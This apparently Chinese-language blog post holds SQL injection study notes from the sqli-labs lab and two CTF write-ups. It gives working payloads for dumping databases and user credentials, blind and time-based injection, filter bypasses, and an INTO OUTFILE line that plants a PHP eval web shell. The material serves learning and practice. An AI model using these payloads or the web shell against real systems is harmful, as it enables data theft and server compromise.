SQL注入学习

前言

想入门网安,就从sql注入这个方面进行入手,这篇文章是我在sqli-lab闯关之后,总结的笔记。


SQL注入中常用的函数

首先,你得知道一些常用sql注入的函数,这里不多说,贴个链接:
https://blog.csdn.net/santtde/article/details/91353689


get与post请求注释符的区别

‘ or and 1=1 # ‘ or and 1=1 –+

get请求的时候一般用:
1’ and 1=1 –+
但是如果在post里最后用加号的话就会被urlencode成%2B,实际的空格被转义才被转义成+
这里的空格用+,在请求的时候不会被urlencode,到后端sql语句中就会成为一个正常的空格,– 后面的语句就会被注释。

?id=1′ and 1=1 –+

post请求的时候一般用:
‘ or and 1=1 #
这时候,在post的情况下,最后一个空格,可以直接用空格,不用+来代替,因为post参数 空格会自动转成+;
而之所以不在get注入的时候使用“#”来注释,是因为,请求时,“#”不会被urlencode为“%23”,被识别为锚链接,无法传递至sql语句中。

uname=‘ or and 1=1 #&passwd=111&submit=Submit

如何判断注入类型

我们在注入的时候,网上的教程都会说判断出了什么类型
比如在sqli-lab的第一个,输入?id=1’,会有一个报错提醒

''1'' LIMIT 0,1' at line 1

那我们是怎么判断出他是个单引号闭合的sql语句呢

%title插图%num

这个图中箭头1的单引号是一组,箭头2是一组,白色的单引号是你输入的单引号,当你注释掉2后面单引号就会形成正确的闭合语句。
有时候报错也会使用""。

union联合查询注入

union联合查询注入,是sql注入中比较常见的了。这里需注意:
当union前面的语句为false时才会执行后面语句。

?id=0' and 1=2 union select 1,2,database() --+

这就是为什么我在传参是要把id后面的数字改成错误的无法识别的。
还有一点

union与order by 后面跟着的列数是跟前面的select 列数相同的,不是该表的总列数,并且union select后面的列数必须和前面的select列数相同,不然会出现报错
(字符串为表名操作时要加反引号)

报错:

The used SELECT statements have a different number of columns

sql注入步骤

其实sql注入的步骤都是一个套路,4个步骤,就是爆库(有时候甚至都不用),爆表,爆字段,爆值。
下面我就写一些基本的注入语句

  • 爆库
    union select 1,2,database()
  • 爆表
    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
  • 爆字段
    union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
  • 爆值
    union select 1,2,group_concat(username,password) from users

extractvalue、updatexml报错注入

这个xpath注入报错是我学习过程中,难以理解的两个函数,但是时间久了,其实也就那样,贴个链接。
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

盲注

布尔盲注
  • 可以通过响应的不同可以判断sql语句是否正确
  • 枚举字符来判断字符是否存在

mysql的特征

select 1 from information_schema.tables where table_schema="security";     这种情况后面只要为真,就会返回1

在我们注入时,就只能靠回显画面来判断,不会有报错的信息给你。
常见payload:

?id=1’ and left((select database()),1)='s'--+
?id=1’ and (length(database()))>10 --+
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

https://www.freebuf.com/column/158705.html
布尔盲注是比较繁琐的,手注的话只能一个一个试,手注推荐二分法。当然我们也可以用脚本。

延时盲注
  • 当注入时,成功与失败回显一样时。
    ?id=1’and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

    判断截取的字符串第一位,是否为真,如果为真,则沉睡5s。

延时盲注也是比较繁琐。

过滤与绕过

在ctf中,sql注入题一般会给你来一些过滤,这时候你就得用各种姿势去绕过了,贴个链接

https://blog.csdn.net/huanghelouzi/article/details/82995313

http请求头的一些注入

遇到这种,就bp抓个包,然后就进行语句的构造就行了。有时还要编码一下。

  • 基于错误的用户代理
  • 基于头部的Referer
  • 基于错误的cookie

宽字节注入

  • 输入'时会给你添加一个转义字符\,使你输入的'变成一个字符输入进语句,这样就会产生错误,以此阻止sql注入语句闭合。那我们就让这个\消失或者不影响语句闭合。

原理:一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注释掉\的作用。

二次注入

  • 先用万能密码登录,然后修改密码,在进行登录。

堆叠注入

这种注入方式就是能执行不用的sql语句,不同与union select。但是在做sqli-lab时,这种使用堆叠注入的题目也能用union联合注入的方式解决。

导出文件注入

select <?php @eval($_POST[\'zzz\']);?> into outfile '文件路径'

注意下这里的路径必须用 \\
这里就可以用蚁剑连接或者post传参执行命令。

题目

0x01

首先找注入点,输入1

%title插图%num

然后输入了id=1 and 1=1
%title插图%num

发现and被过滤了,猜想or大概率也被过滤了,尝试一下果然如此,知道过滤了什么就很简单了。
爆库payload

id=0 union select 1,database(),3,4

%title插图%num

爆表payload

id=0 union select 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database()

爆列名payload

id=0 union select 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where  table_name='flag'

爆字段payload

id=0 union select 1,group_concat(flag),3,4 from flag

%title插图%num
访问获得flag

flag{plz_keep_striving_for_your_dream :)}

0x02

页面没有注入点就先抓包

%title插图%num

进入尝试
%title插图%num

这道题是过滤了空格,对select,union进行了过滤
空格我们可以使用%0a绕过,select是进行了小写过滤,我们用大写绕过就好了,union我们可以用双写过滤。
爆库payload

id=0' %0a ununionion %0a SElect %0a 1,database(),3 %0a and %0a '1'='1

%title插图%num

爆表payload

id=0' %0a ununionion %0a SElect %0a 1,group_concat(table_name),3 %0a from %0a information_schema.tables %0a where %0a table_schema=database() %0a and %0a '1'='1

得到emails,flag,referers,uagents,users 5张表,然后就是爆列.

爆列payload

id=0' %0a ununionion %0a SElect %0a 1,group_concat(column_name),3 %0a from %0a information_schema.columns %0a where %0a table_name='flag' %0a and %0a '1'='1

拆解的列名id,flag,最后爆字段

爆字段payload

id=0'%0aununionion%0aSElect%0a1,(SElect%0aflag%0afrom%0aflag),3%0aand%0a'1'=1'

%title插图%num

访问,flag在源码注释

flag{W4nder_always_god}

后记

学习了sql注入之后,做一些简单的sql注入题,感觉没有问题了,emmm,以后学习遇到的问题也会再记录整理。
http://www.vuln.cn/1992
http://www.vuln.cn/9027

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇